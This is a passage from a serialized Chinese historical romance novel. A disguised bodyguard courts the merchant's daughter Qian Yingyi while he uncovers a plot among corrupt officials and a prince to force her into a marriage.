钱映仪掬着腮肉望着他干活,百无聊赖下扫量起他的身段。 寻常人做起这样的活,一番忙碌下来都是灰扑扑的一张脸,他倒还算整洁干净,动作也十分熟稔,腰身即便是弯着也仍觉他是身形伟岸的,半蹲下身子打磨小床时,额上一绺碎发缓缓落下 钱映仪抿着稍显干燥的唇,慢慢起身往他那头走,连她自己都尚未察觉,她扯了个有多拙劣的问题与他搭话:“看你往杯子里头放薄荷叶,喝进去不觉得凉?” 秦离铮余光稍瞥她,暗暗勾唇,“不凉,习惯了。” 暮色下,女孩子一步步跨过来,离得近了才发觉小床已经打磨得十分平滑,她伸手去抚一抚,有一瞬的讶然:“哎唷,你还真会做这个呢,我瞧着比外头的工匠做得还好。” 秦离铮起身将小木床翻了个面,复又半蹲下去,半开玩笑抬起脸看她,“做得好,那有没有奖励?” 天边烧得火红的晚霞美如画,连院落里的树叶都染上几分红,照得年轻人时常淡漠的脸添上暖意,连眉梢眼角都隐含笑意。 因他半蹲着,钱映仪居高临下盯着他额边散落的碎发,下一刻,终于忍不住上手去拂,指尖轻触他的瞬间,她又在替自己辩解:“我是不是说过,要干净整洁。” 他的脸出过一层薄薄的汗,叫风吹一吹有些凉,有些湿润,钱映仪心头一跳,大抵觉得不该如此,因此陡然收回手,讪笑两声,“你、你想要什么奖励?” 语气虽还平静,眼神却已飞向四周。 可惜手还没回到身边,被他一把攫住。 钱映仪惊得使劲去抽,却抵不过他的力气,脸一时变幻莫测,“你你你你做什么?” “小姐提醒我干净整洁,却没注意自己。”秦离铮慢慢站起身,又高出她大半截,她的手被他抓着,被迫被他悬在眼前,她看着他带有薄茧的指腹爬上她的掌心,指节,最终停在她的指头上摁了摁,“这里脏了。” 他怎么敢?钱映仪眸色有几分惊骇,由心底生出一股错觉,她若不出声斥责他,他会不会就这样牵着她不放? 可惜,他好像只是单纯地提醒她。 在这个念头出来的那瞬间就松开了她。 钱映仪望着他转背继续干活的身影,气得笑了,也孩子气性一般与他对着干,“奖励?你先将它完完整整做出来,再来向我讨要,现在还没上漆,八字还没一撇呢!我、我手上有脏东西我自会去擦,用得着你提醒?” 她故作可笑地盯着他的背,好似要盯出两个大窟窿戳死他,“别以为你替我做了这个,我就可以由你胡作非为,你不懂门户里头的规矩,我就再提醒你一遍!” “不可随意对人动手动脚!” 见他没反应,她又跺一跺脚,“听明白没?” 久久等不到他回答,钱映仪只当他仍是从前那个粗犷莽夫,气得一连哼了几声。 也许是方才被惊得五脏六腑都往上提了提,她倏然回坐在四方桌前,离他远远的,兀自伏身趴在桌上不再看他。 院子里霎时静下来,钱映仪昨夜本就只睡了两个时辰,汹涌的高兴退散后,渐渐就有了困倦之意,眼皮愈发地沉 秦离铮一直留神她的动静,不是刻意不答她的话,只是怕自己遏制不了要一直牵她的心。 听到她匀称的呼吸,秦离铮扭头去望,才发觉她竟是趴在桌上睡着了。 秦离铮静静看着她,把一双手洗净,端着自己那杯茶坐到她身侧。其实他的谎言也很拙劣,她手上压根没有什么脏东西,只是她为何没发现? 面前的女孩子已然陷进酣眠,把脸翻一翻,只留了个后脑勺给秦离铮。 四下无人,晚霞明丽。薄荷水入口的瞬间,激起了某种隐秘的心思。 秦离铮起身绕去另一头,垂首盯着她看了许久。 下一刻,他屏住呼吸,恐惊扰她,俯身带下一个温热里糅着丝丝凉意的吻,印在她的唇上。 他吻得很轻,又带着不由自主的温柔,怕泄出的呼吸将她吵醒,眼底的炙热却快把他自己灼烧殆尽,直至快到闭气极限时,他才缓缓挪开自己的唇。 月色渐显,隔壁不知有什么好事,火树银花“噌”地在半空绽开,惊醒了匍匐在桌的钱映仪。 她有些发蒙,四下看一眼,只见桌上掌着灯,夏菱正端坐在一旁看着自己,便道:“我睡着了?” 又问:“林铮呢?” 半空铺满璀璨银花,映得夏菱的神情有几分古怪,“哦,他啊,小玳瑁与春棠回来了,他忙活了一下午,奴婢叫他填肚子去了。” 夏菱直至此刻都有些心惊胆战,她取了吃食回来,凑巧撞见那一幕。天老爷,他怎么敢亲小姐的? 还敢亲那么久! 叫小姐知道了,不得打死他? 流动的烟花光影下,夏菱之心愈发复杂,一面想着要不要告诉小姐,一面又想,倘或小姐知道她也看见了 总之夏菱陷入两难,向来喜笑颜开的脸也有些僵硬。 林铮他喜欢小姐多久了? 夏菱把控不住自己有些好奇的心,悄瞥小姐一眼,故作开玩笑道:“小姐最近好像经常问起他,连问小玳瑁的次数都少了许多。” 他喜欢小姐,小姐有没有感觉?倘或小姐自己也有感觉,她是不是就能心安理得把那一幕说出来? 钱映仪怔了一下,半晌脑子才清醒过来,想起傍晚那个看似无意的触碰,理直气壮道:“怎么会?只是顺口而已,他下晌不是还在这,我一觉醒来不见他,问问怎么了?” 夏菱自小跟着小姐,小姐或是撒谎或是心虚,又或是嘴硬连自己都尚且未发觉,她轻易便能听出来,因此一颗心渐渐往下沉,少不得在此刻想及二人身份上的悬殊。 若叫老爷晓得小姐与家里的侍卫有牵扯 片刻的功夫,夏菱已想了种种后果。 最好的结果,莫过于赘婿。 “你想什么呢?”钱映仪狐疑往她面前挥一挥手,“叫你两声没反应。” 夏菱陡地回神,勉强扯出个笑,“小姐说什么?烟花声太大,奴婢没听清。” 钱映仪道:“我说咱们也别在这干坐着了,赶紧回去,吃食放这儿都凉了,不要再吃,我饿了。” 目光掠至角落那磨得平滑整洁的小木床,夏菱敛起心思,也不欲再在小姐面前提起林铮。 于是一面笑着起身,一面把话茬开:“好,奴婢在前头掌灯,这烟花真好看,叫奴婢想到晏小姐的生辰快到了,届时大少爷与二小姐都回来了,小姐再去晏家,看外头那些人还敢不敢笑小姐!” 钱映仪跟着抬头瞧一瞧,笑着抱住夏菱的胳膊,“别人笑话我,不是常有的事?这么多年过去,你觉得委屈吗?” 夏菱一愣,摇摇头,“委屈倒谈不上,奴婢只是觉得他们嘴碎。” 钱映仪笑意更甚,“那不就是了,咱们关起门来过的日子,你知我知,日子舒坦了,这点话也不算什么,自然不觉得委屈囖!反观他们光鲜亮丽,就爱动动嘴皮子功夫,指不定私下过得多苦呢,你说是不是?若过得顺心如意,怎会把这等小事挂在嘴上不放?” 夏菱跟着笑,“反正知道大少爷与二小姐要回来,奴婢就很高兴。” 二人笑到一处,身影渐渐隐匿不见。 这处无人踏足的地方岑寂半晌,秦离铮才从某个不起眼的角落走出来,眼底神情晦暗难辨。 用罢晚饭他便已折返回来,料想夏菱或许撞见了他亲钱映仪,他便没再凑过去,只静静待在此处。 她方才一席话是假的,只有他知道。 倘或她不在意外头那些人说的闲言碎语,在那个喝醉酒的雨夜,她便不会吐露真言。 若她需要,他可以令那些人闭嘴,甚至永远开不了口说话。可他也明白她只是单纯地有些不高兴,若他真这么做了,有朝一日被她知晓,她反倒会厌恶他。 所以夏菱说得没错,她的确需要一些能光明正大替她撑腰之人,她大可以鼓足勇气,像掌掴俞敏森那般叫嘴碎闲话之人闭嘴。 她家世显赫,作为家中最小的女儿,她有肆意的资本,她本该如此。 秦离铮缓缓在未掌灯的黑夜里行走,无端端把唇抿了抿,她那样软,他已有些控制不住自己要再靠近她一些。 他的渴求昭然若揭,也正是如此,在想到钱林野与余骋不日即将抵达金陵时,心里那股惶然也愈发沉重。 “轰——” 半空又绽开烟花,猛然拉回了秦离铮的思绪,他仰头看着火树银花,想到隔壁那位裴骥,眼色渐渐凝得阴狠,脚步一转就离开了钱宅。 “喏,这是手下人盯着他们的结果,”秦淮河岸的乐馆里,褚之言叼着块点心在嘴里嚼,递与秦离铮一封密信,“他们果真接受不了被人半路断财。” 扫量上头有裴骥之名,秦离铮面色陡然凌厉,耐着性子往下看,不由地冷笑一声:“为了钱,还真是绕得远。” “谁说不是?”褚之言吊儿郎当欹在椅上,翘着腿弹一弹膝上不存在的灰,“这裴骥也算是王弋的亲戚,他与王弋的一房小妾是表亲,做事也十分谨慎,好容易才查到他早些年一直在走私绫罗绸缎送给王弋,你以为王弋转头分了一半给燕榆他们?” “哼,人不为己天诛地灭,他全自个贪了!碍着这个,王弋对这裴骥渐渐也有了好脸,也不嫌他是个商户了,裴骥大约也是不满足于只在淮安府办事,便在今年搬来了应天府,正巧住在琵琶巷。” 说到此节,褚之言神情稍稍严肃了些,坐姿也端正起来,“指挥,经手下人的查探,不日将有大批云锦从淮安府运来,照燕榆他们的意思,是想私占一半!” “再过两个月,南直隶的其他府也要准备上供之物,王弋管着递运所,定然有一番大动作,咱们要不要趁此机会出手?” “先摁着,”秦离铮紧盯着裴骥的名字,已彻底回过神来,倏然笑了笑,“这个裴骥或许是个突破口,他昨日刻意接近映仪已被我察觉出不对劲,若只攀附应天府的官员,他没必要如此绕一圈。” “王弋,裴骥,燕榆,蔺边鸿”他回望褚之言,语气笃定,“他们为了利聚在一起,若生事端,也能为了利分开,各干各的,裴骥明显是个聪明人,他定然留有后手,燕家那边继续派人盯着,裴骥这头另派几人掌控动向,查一查他的底牌是什么。” “余骋被皇上 任命江南巡抚,虽不知皇上用意,但此举必将引得燕榆他们讨好余骋,“秦离铮道:“不是说他们要占一半的丝绸?如此贪得无厌,届时便送他们一份惊喜,且看他们受不受得住了。” “不止他们,从应天府一层层往下查,这其中的贪墨官员或许比你我想象得更多,皇上说了,咱们要做的是一网打尽。” 褚之言连连咋舌,“嗐,偌大个地方,外头是富贵荣华,扒开一瞧,里头都是烂的,黑的。” 谈过正事,褚之言又打趣他,“哟,余骋要来金陵啦?那你岂非暴露身份?还有你刚才叫什么?映仪?” 褚之言连连摇头,“叫得这样肉麻,好像你真与她两情相悦了似的。” 秦离铮淡乜他一眼,意外没有如往那样揍他,半晌只道:“你说,余骋会戳穿我吗?” “戳穿你什么?”褚之言握了盏茶在手里,“你如实与他说就是了,就说你是受皇上的命令秘密前往金陵,本来也是如此,少一个人知道你的身份,咱们就越好办事,难不成你想前功尽弃?” 秦离铮垂眼听着,没说什么。 良久只起身道:“先按咱们方才说的办。” 别的只字不提。 褚之言无所谓耸耸肩,起身去送,“晓得了。” 二人一前一后出了乐馆,秦淮两岸正是醉酒笙歌时,不防秦离铮在无意间撞上个人,他回身扫了一眼,登时拧眉。 俞敏森穿一身浮光锦直裰,腰上荷包绣着金丝,浑身上下透着贵气,不知因何未在府学,反而出现在这河岸。 见是这侍卫,俞敏森当即气不打一处来,还记着仇,语气也没那般客气,“撞了人,不晓得道歉?” “何事?”自一旁传来一声询问,秦离铮扭头去望,正是瑞王俞成鹤。 褚之言一眼认出这对父子,他是为数不多知晓秦离铮要手刃他们的人,心中咯噔两声,恐要坏事,忙噙着一抹笑上前斡旋,“哟,小官人好生气派!是来河边寻乐的吧?不如上我这乐馆听听小曲儿?” 秦离铮压下心头戾气,不欲多留,只默然转背离去。 可这俞敏森偏不依不饶,捡起一记石子丢向他的脚,“站住!” 他两三下跑去秦离铮身后,料想他不过一个普普通通的侍卫,也不敢与自己动手,当即伸手去掰他,“本世子让你走了吗?”—— 作者有话说:单方面kiss达成 夏菱:天塌了 松松:你清高,你要把我送走[愤怒] 第24章 “喂,你聋了吗?本世子可没让你走!” 月色澄明,河水滔滔。繁丽画舫一艘艘驶过,俞敏森这一声嚷得大,使离得近的画舫窗寮探上几双好奇的眼,走河边路过的行人也渐渐放缓脚步。 褚之言暗道不好,忙又跟了上去。 青年始终维持沉默,良久,在俞敏森又一声不耐烦的催促下慢慢转了身。 秦离铮笑,“听见了,世子想让我如何道歉?” 喧阗中响起俞敏森得意洋洋的声音:“你撞的可是我,我乃当朝世子,按礼法,你该跪下向我道歉,行叩拜大礼。” “是吗?” 秦离铮唇畔含笑,站在原地没动,光是身形就已将俞敏森压迫得悄悄往后退了半步。 想着今番有爹在身后,又料定这侍卫不过是个普通人,俞敏森的底气又“噌”地往上冒,面上尽显不耐之色,“还不快跪!” 这个侍卫,早前在蔺家下了他好大个面子! 不过是钱映仪身边召之即来挥之即去的下人,此番相撞,只叫他跪下道歉,已是自己格外仁善。 这话里的讥嘲与生来高人一等的倨傲听在褚之言的耳朵里就是道催命符。 他按捺不住自己去看秦离铮握剑的手,惶恐他一拔剑就割了这小世子的喉管! “世子未免太轻狂。” 俄延半晌,秦离铮将剑留在腰间,双手自身前绕去身后握拳,仍是在笑,只是眼色已然冷下,“百姓间常谈皇上对各府各县的生员格外看重,对明年的科举更是拭目以待,世子浑身是胆,府学尚未休假,怎会出现在这对酒笙歌之地?” “你说什么!”俞敏森抬手把秦离铮一指,“扯什么科举,我自有理由过来,你少废话!” “世子虽为生员,出身却高贵,平日若是爱玩,没有考上也无妨,”秦离铮语气渐渐含笑,声音低得只有二人能听见,仿佛只是与他开一开玩笑,“只是大多数进士往往要回州府任命,倘或世子为这金陵做官,百姓们可会服你?” 俞敏森气得一张脸通红,眼看他嘲讽自己不学无术、偷懒出府学,登时扭头看向身后的几名王府侍卫,气急败坏道:“你们眼睛都是长在脚底的么!还不过来替我好好教训他!” “教训什么!”俞成鹤倏然走到俞敏森身旁,一记掌风拍得他趔趄两下,“撞了就撞了!你是世子,这样又急又臭的脾气,动不动就在外头喊打喊杀,究竟是跟谁学的?” “你要做的是庇护百姓,不是欺压,这么多年的书都念到狗肚子里去了?” 俞成鹤像是不解气,当着河岸一些百姓的面又给了俞敏森两记重打,待俞敏森不吭声了,方扭头笑望秦离铮,“你是钱家那孩子的侍卫吧?倒是好身手,世子顽劣,我代他向你赔个不” “不必。”秦离铮漠然往一旁让一让,蓦然打断俞成鹤的话,“王爷是贵人,我岂敢受。” 褚之言忙凑上前笑说:“误会误会,都是误会,王爷,这位官人是从我这乐馆出来的,呸!说来也是我这乐馆的位置不大好,这才使他与世子撞上,若王爷与世子不嫌,不如去乐馆坐坐,我那有上好的茶酒点心。” 俞成鹤凝神望了眼年轻人,又仿佛只是随意,半晌稍稍侧身,摸了个整锭子递给褚之言,笑着推脱:“这与东家有何干系?说到底是我教子无方,茶水就不必,这些权当是做过东家的生意了,还请东家高兴之下莫要再提此事。” 这便是轻描淡写揭过此事了。 褚之言暗道他出手当真大方,不由地在心中啐两口,面上却是不显,腰身益发往下弯着,“嗐,河边热闹的事向来多,我睡一觉起来,哪还记得这个?” 俞成鹤和善拍一拍他的臂膀,没再说什么,领着俞敏森往河岸的另一头去了。 褚之言自当继续送秦离铮,行至一处拐角,二人才翻身一跃避开了那些有意无意跟在后头的尾巴。 “指挥”褚之言抿唇望向秦离铮,“还好吗?” 秦离铮垂着眼,拇指把指骨上的银戒上转了转,瞧不出是喜是怒,“瑞王谨慎,派人在后头跟着咱们,咱们的人会把他们引开,在此等半炷香的时间再出去与自己人汇合,看瑞王今夜带儿子出来做什么。” 看他避而不谈,褚之言在心中低叹,只点点头不说话了。 这厢俞成鹤好似只是领着俞敏森出来觅食,往食肆里买了些酒酿、鹅腿,碰上相熟的东家好奇相问也客气笑一笑,只说是俞敏森在府学染了病,这才带出来透透气。 过去近半个时辰,有个侍从凑上前来回话,俞成鹤才渐渐敛笑,“确定不是巧合?亲眼看见那侍卫回琵琶巷了?” 侍从点了点头。 俞成鹤淡乜俞敏森一眼,拔脚往河面那些漂浮的画舫走去,“跟上。” 俞敏森一路都不太服气,心头憋了好大一串火,沉默跟在俞成鹤身后上了艘画舫,待见了舫内之人,不由地有些发怔,“爹?” 画舫内坐着燕榆与蔺边鸿,燕如衡在一旁垂首饮茶。俞敏森有些摸不清,又轻轻掣着俞成鹤的袖摆。 燕榆面不留须的脸上泄出个笑,起身向俞成鹤作揖,“卑职见过王爷。” 蔺边鸿与燕如衡紧随其后。 俞成鹤随意摆一摆手,轻撩袍角与燕榆对坐,斜眼去瞟俞敏森,“与三郎坐一处去,好好听着,不许胡乱插话。” “哦。”俞敏森神情犹显不解,不明白爹为何与应天府这两位官员有牵扯, 碍着心中好奇,只得老实在燕如衡身侧坐下。 燕榆亲手沏茶与俞成鹤,道:“为免旁人起疑,王爷,咱们就长话短说。” “工部尚书晏老的孙女秋雁与钱映仪关系极为融洽,而卑职的长女文瑛与秋雁的关系亦是如此,晏老极其疼爱孙女,这月底便是秋雁生辰,届时定会遍邀金陵世宦小姐前往祝贺。” “卑职手中新得一对海运过来的宝石玉桃,其中一枚已交与我儿三郎,另一枚,长女会借秋雁之手赠与钱映仪。” 燕榆笑得满眼都是算计,“届时满府宾客,待钱映仪收下那枚玉桃,三郎会在不经意间露出另一枚,而王妃向来在官眷中说得上话,王爷可明白?” “你想让王妃在众目睽睽下断言二人乃天作之合?”俞成鹤漫不经心呷茶,眼风瞟向燕如衡。 不一时,他吭吭大笑,由舫壁上的烛光映得他的脸布满玩味与阴险狡诈,“你啊,真够阴的,连晏家都给利用进去。” 蔺边鸿这时也跟着笑,道:“上回在卑职家中本是个好机会,可恨卑职膝下那孽种坏事,所以这一回咱们务必要占得先机,即便拿不下钱家,也要使钱家落得下风,只要绑在一处,任凭那钱兰亭再如何澹然自处,也与咱们紧密相连,再也分不开了。” “卑职已教训过孽种,他也答应不再坏事,只是”蔺边鸿笑意更甚,肥手在桌上轻敲,“世子这头” 俞敏森听到此处已是惊骇不已,原来爹与他们是一伙的!只是说什么要引钱映仪与燕三郎配作一对?这与自己又有何干系? 瞧他不解,俞成鹤只道:“你以为单凭王府每年的收入,能供你平日里挥金如土?” 简单一句话,如一记重捶落在俞敏森心中,他到底懂些门道,倏然惊得微微张嘴,险些把“贪墨”二字脱口而出。 到此时,他也算回过神来,明白爹为何在今日破例替他告假,又带他出来。 是怕他与钱映仪不对付,一时管不住性子,又坏了事。 俞成鹤向他目露警告,“可听明白?你与钱映仪有天大的仇都先放一放,待事成,爹便不再管你。” 淮水拍打在两岸,卷走岸边的醉生梦死。河岸灯火四绽,却照不亮这艘画舫里的阴谋算计。 褚之言无声跃离踏板,身形如鱼潜进水中,没几时翻身回了乐馆,沉着脸道:“他们当真贼心不改!” 言讫,忿忿将探听到的消息一并说给了秦离铮听。 秦离铮听到“再也分不开”时,眼眉陡然凌厉,不再逗留,只道:“能不能绑在一起,也要看他们有没有这个命数。” 辗转踅回琵琶巷时,秦离铮仍未能压下心头戾气,碰巧远远窥见个鬼鬼祟祟的身影趴在钱宅墙头张望,他反手拔剑便掷了过去—— 那人被寒凉的剑划了道口子,当即从墙头摔落下来,下意识便想逃! 不料后腰传来一记钻心的疼,倒地时,便有一只脚重重踩在了腿骨上。疼得他忙告饶:“疼疼疼!小的走错了路” “再胡乱偷看,”秦离铮勾着剑尖悬在这人眼珠子上,“我剜了你这双眼睛。” 言讫,脚下重重把他一踢,眼露警告,“回去告诉你主子,再往我家小姐身前凑,我不介意也折了他两条腿,前不久那场烟花是何用意,别以为我不知。” 见这人骇得不轻,秦离铮复又冷声道:“还不快滚?” 那人走后,这处偏巷唯余秦离铮一人。 青年身处黑暗不发一言,只摸出条干净的帕子把剑来回擦拭。 为了利益,所有的阴谋诡计都如游走无形的毒蛇一般向她靠近,只待时机一到便紧紧缠住她,往她身上狠注毒液。 他的兄长亦是在阴谋之下丢了性命。 秦离铮缓缓将剑插回剑鞘,面上无甚情绪。 彼时他没有能力护住兄长,兄长之死成为他心头毕生之痛,同样的事,他不会再任其发生第二次。 他绝不会叫她知晓一星半点,只有什么都不知,才可安然过好日子。至于这些人,他会一个一个从她身边拔除。 势必护她无忧。 朱门玉户芳菲如旧,满园花香扑鼻诱人,这日钱映仪午憩起身在院子里抻一抻酸软的手臂,一个晃眼瞧见侍卫从外头进来,忙喊:“林铮!” 她捉裙上前,歪脸把他有些古怪的神情窥一窥,“你往哪里去了?脸上怎么这幅表情?” 秦离铮垂眼盯着她扑扇的两帘睫毛,心头倏软,把脸偏一偏,往怀里掏出个油纸包递给她,“昨日小姐不是想吃外头的桃花糕?” 钱映仪好似已有些习惯他时不时的“示好”,笑吟吟接过来打开,一面轻咬糕点一面追问:“原来是往河边去了,你还没回答我呢,怎的这幅神情?” 秦离铮道:“没什么,只是在河边听说书人说了个故事。” 说到此节,钱映仪愈发好奇,向他靠近半步,一双眼睛如璀璨星辰,“你说与我听听。” 侍卫仿佛面色为难,半晌才道:“是个志怪故事,相传东海一带有鲛人出没,一个鲛人与桃花精相恋,自那之后他们的后代在成婚时都会寻来一对玉桃,以表欢喜之意。这本是一桩好事,但后来” 钱映仪旋裙往光下站一站,由阳光扑在脸上,细嚼慢咽听着他说,见他话音倏顿,便道:“后来如何?” “后来有位凡人误闯进去,见那后人中的妙龄女子貌美,一见倾心,当即立下誓言,要排除万难与那女子在一起。” 钱映仪笑,“那很好呀。” 她身后是秦离铮不作掩饰的目光,他轻声道:“怎知那凡人是个捉妖师,早已盯上这一族人,排除万难娶她为妻后,便在当夜出卖了她的族群,撕开结界令无数捉妖师进去,一夜之间,整个族群灰飞烟灭。” 钱映仪倏然握拳忿忿不平,转身来望他,忙不迭地追问:“你别与我说,故事有转机,那女子实际没死,还与那捉妖师在一起了?” 秦离铮摇摇头,“女子自然是死了,只是那捉妖师不知是不是假意里掺杂真情,待女子死后,独留在他们的新房里,日日夜夜抱着大婚之时用过的玉桃吃酒买醉。” “噫!”钱映仪果真嫌弃至极,当即一抬手制止他再继续往下说,“这也太晦气了!装什么呢!我要是那女子,恨不能把这玉桃夺来碾碎,也好过被他污糟了去!” “还有那玉桃也晦气,好好的喜庆之物沾上虚情假意,倘或首饰铺里在卖这样的物件,若有买首饰的姑娘们听过这故事,怕是也不会买了,那说书人变相害了首饰铺的东家囖!” “小姐呢?小姐若也去首饰铺买首饰,正好瞧见那玉桃模样漂亮,会不会觉得这只是个故事而已?” 女孩子剪起眼皮来瞧他,“我喜欢漂亮东西,但前提这东西得纯粹,哪怕只是个故事,被我知道了,买回来岂非心中膈应?我才不要。” “你在哪听的故事?”钱映仪连连摆头,脑袋上的珠串轻轻撞响,“下次别去了,听点好的。” 窥她一脸厌嫌,秦离铮心中有了底,勾唇笑一笑,温声道:“知道了。” 说会话的功夫,钱映仪已不知不觉吃完所有桃花糕,意犹未尽舔了舔唇,正想问他在哪家点心铺买的,不防碰上钱其羽归家来寻她。 “阿姐!阿姐!”穿青绿襕衫的少年跑得脸上浮起一层汗,只顾要与她一起玩,“我又回来啦!” 钱映仪嫌弃捂鼻,“臭。” 钱其羽嘿嘿一笑,背在身后的手变戏法似的掏出一个食盒,“瞧我给你带了什么?你爱吃的桃花糕!还有一壶桃花酿!” “那真是太可惜了,”钱映仪把那油纸在他面前晃一晃,“你早来些时候,我定然心生欢喜。” 钱其羽少年心性,见状也不恼,把食盒往侍卫怀里一塞,转背跑开,“阿姐,我先去换身衣裳,洗掉这满身的汗,再来与你一起玩!” 于是待他换了 身紫鼠色葡萄纹圆领袍过来时,便架了张竹编四方桌在院落中央,一面饮酒,一面与钱映仪这满院的小丫鬟们说起府学里的趣事。 “阿姐,你说古不古怪?”钱其羽嗤嗤笑了一声,“那俞敏森近来见了我十分客气,还称我钱小少爷,向我作揖,莫不是真被他爹瑞王教训得狠,晓得怕了?” 钱映仪托腮附和:“也许吧,少招惹他,他就是咱们俩的冤家。” 少年不以为意,又道:“说起来我还笑了他两回呢,他不知何时与郭月打得火热,哟,还学人写起了情诗,贼眉鼠眼,又是个滑头,搞不懂郭月喜欢他什么。” 这厢夏菱又端上些瓜果点心,搭腔道:“少爷,别管别人喜欢什么了,待你也情窦初开,或许就懂了。奴婢问一问少爷,还记得小姐最喜欢什么吗?” 钱其羽被她这话问得莫名,答道:“阿姐自然喜欢漂亮的东西囖!” 夏菱余光暗瞥一旁高大的侍卫,眨眨眼,“不是哦,少爷再想想。” 她暗中盯着这林铮已有好些日子了,他倒是变着花样讨好小姐,倘或是真心实意,倒先看看他舍不舍得。 钱其羽左思右想,目光落在钱映仪髻上那支金蝉钗上,当即笑拍脑袋,“阿姐最喜欢金子!最喜欢钱!” 夏菱满意点头,悄瞥侍卫微微侧身在听,寻了瓣甜瓜塞进他嘴里,“哟,少爷答对了,请吃瓜解解渴。” 侍卫一月就三两银子,自他伺候小姐也有一段时日,倘或他舍得银钱,她再考虑要不要将他的秘密告诉小姐。 若做不到,足以说明并非真心,对小姐只是觊觎,届时定要将他赶出府,及时掐断祸根为妙。 这厢夏菱神思飘荡渐远,那头钱其羽又与小丫鬟们说到一处去。 渐渐地趣事说尽,便往树下一靠。不留神瞧见侍卫懒洋洋立着剑玩,登时玩心大起,一连迭凑过去问:“林铮!你这如何做到的?它竟能立着不倒?能不能也教教我?” 秦离铮点点头。 小玳瑁十分有眼力见,忙把自己那把剑取下递与钱其羽。钱其羽一连试了好几回都没立起来,被小丫鬟们笑得两只耳朵都红彤彤的。 他想斥小丫鬟们大胆,天性纯真又使他说不出什么恶毒之言,恐面子挂不住,便干脆将钱映仪也拉下水,“阿姐,你也来玩,真好玩!” 钱映仪早有些跃跃欲试,不待他再叫,登时就兴兴凑了过去。 钱其羽笑眯眯把剑递与她,自个倒是往廊下躲阳去了。 秦离铮朝她靠近两步,嗓音沙沙的,“小姐要不要我教?” “我瞧着也没那么难呀,”钱映仪摆一摆手,“我先自己试试。” 话音甫落,把个沉沉的剑身竖在手心,偏老天与她作对,每每要立稳时,那剑身总往一旁歪去。 于是钱映仪扭头望向侍卫,抿了抿下唇,小声道:“还是教一教我吧。” 秦离铮震出两声笑,叫她去托剑身,自己则再靠近了些,用剑鞘抵在她的手背,稳稳地把剑立了起来。 钱其羽不知是脑子里哪根筋歪了,抱臂在廊下把二人睃一眼,冷不丁冒出一句:“嘿,看着挺像一对。” 话音甫出,他就惊觉自己说错了话。 察觉到空气里的笑音一霎停止,忙讪笑两声,匆匆跑至桌前取酒喝,“那什么,我嘴笨不会说话,都别往心里去,自罚三杯,自罚三杯!” 不防太过着急,一口酒入喉呛得连声咳嗽,惊得小玳瑁忙飞奔向他而去,钱映仪这头也顾不得那一缕升起的羞意,扔了剑就跑去欲拍他的背。 正正好又与小玳瑁险些面对面撞上! 二人左右互让片刻都没躲开。 钱其羽捂着嗓子咳得眼泪直往外冒,秦离铮看不过眼,径直向他快步行去,岂知钱映仪那头一跺脚已躲开小玳瑁。 巧的是在秦离铮抬手欲拍钱其羽的那一刹那,她已行至钱其羽身边,收不住脚便往前趔趄两步,胸前编成小辫的辫子一霎就勾在了他开过口的银戒上。 这下小玳瑁也顿在了原地。 丫鬟们目瞪口呆。 连钱映仪与秦离铮都有些发怔。 好在钱映仪眨眼的功夫回过神来,涨红着脸去解自己勾缠在他指骨间的发丝。 岂知愈是这般急躁愈是一团乱。 春棠瞧不过去,忙不迭要来帮忙,被骇目圆瞪的夏菱抱腰拦住,春棠不解回望她,夏菱便比划: ——多个人去是添乱,林铮没一会就能解开。 其实夏菱亦有私心,她好奇这林铮会不会借此刻意图要与小姐发生什么。若他使了坏心思,她头一个赞成赶他出去! 便是如此情况下,秦离铮也没忘腾出另一只手去拍钱其羽,钱其羽只是呛了口气,叫他重重一拍,倒是顺了下来。 整个云滕阁在此时陷入岑寂。 钱其羽自知闯祸,恐被钱映仪打,忙抬眼望天,“我、我什么都没干。” 小丫鬟们也在此时回神。 一个小声嘀咕:“哎唷,奴婢昨夜洗的衣裳还没晾,先、先走了!” 一个作势往外走,“奴婢突然记起奴婢的二舅的侄子的姨妈的表弟的爹过身了,奴婢还没向太太告假吊唁,先走了!” 一个说:“太阳太大,奴婢被晒得头眼发昏,什么都瞧不清,哎呀,先走了!” 总之统统在须臾间离开了。 这些话听在钱映仪耳朵里益发刺耳,她不得已与侍卫靠得极近,连连抬脸瞪他,“快解开呀!还愣着做什么!” 不知是哪个小丫鬟的话戳中秦离铮,他沉默片刻,竟是抖着肩吭吭笑了出来,笑得钱映仪止不住地用手打他,“你还笑!” 他一惯冷着脸,即使偶尔笑笑也让人觉得没什么变化,像此刻这般爽朗的笑还是头一回,莫名给他淡漠的眼角眉梢都覆上肆意。 叫钱映仪稍稍愣神。 仿佛冷漠只是他披在外头示人的假象,他的底色本该就是如此恣意张扬。 风和日丽,暖阳高悬。在阳光下,秦离铮的心中难能充沛着欢乐,因此低眉望向钱映仪时,目光也毫不掩饰牵出柔软,把声音放得很轻,像在哄她:“别急。” 很奇怪,钱映仪在他低柔的语气下渐渐平缓下一颗扑扑直跳的心,最终只闷声不吭站在原地,垂眼盯着他那只骨节分明的手一点点把她的发丝拨开。 辫子彻底与银戒分离后,他复又平静往后退了两步,避开了或许原本该有的旖旎。 夏菱明察的目光收回,抿着唇没说话。 这一打岔,钱映仪觉得浑身的血液烧了一圈又凉下来,没有再要玩耍的心思,说不出是什么缘故,竟是一言不发冲进了正屋。 旋即“啪”地一声阖紧门。 钱其羽有些发蒙,猜想她在生气,忙上前把门拍一拍,“阿姐,我错了!” “你不许再说话!”里头的声音闷闷的。 好在小玳瑁机灵,忙三言两语将钱其羽给诓骗走。 春棠旋即也忧心忡忡与夏菱一并去敲门。 剩秦离铮默然站在原地盯着那扇门,目光闪闪烁烁,久久盯着。他晓得,她脸皮薄,又一惯爱面子,这场意外于他而言是高兴的,可于她来说,或许又是一场惊吓。 她需要时间去慢慢消化。能促成小玳瑁与春棠之事,她不是什么都不懂。 秦离铮不由地想,她的反应大约是一种症状。 医者不自医。 一晃月影高悬,云滕阁内重归寂静,好似人人都对白日里的喧嚣热闹闭口不提,只默默搭着被衾将各种想法带进梦乡。 铜漏声声,隐听秦淮河岸吹箫寻乐。 待正屋的灯灭了半炷香的时间,听不见那阵翻来覆去的动静后,秦离铮倏然翻身落地 ,又无声踏进了寝屋。 床角仍挂着粉色的帐子,秦离铮撩开一角,放轻屈膝的动作,静听她均匀的呼吸片刻,悄悄把她的被衾掀开了些。 孰料她睡觉不大老实,穿得又单薄,露出小半截圆润白皙的肩头,使秦离铮这一眼久未挪开。 俄延半晌,他的指尖将那薄薄的衣料往上拉好,才顺延往下轻轻牵出她的右手,借着辉辉月色去窥她虎口一抹细微的擦伤。 也许她白日的确慌了神,连手打在钱其羽腰带上被刮出印子都没察觉。 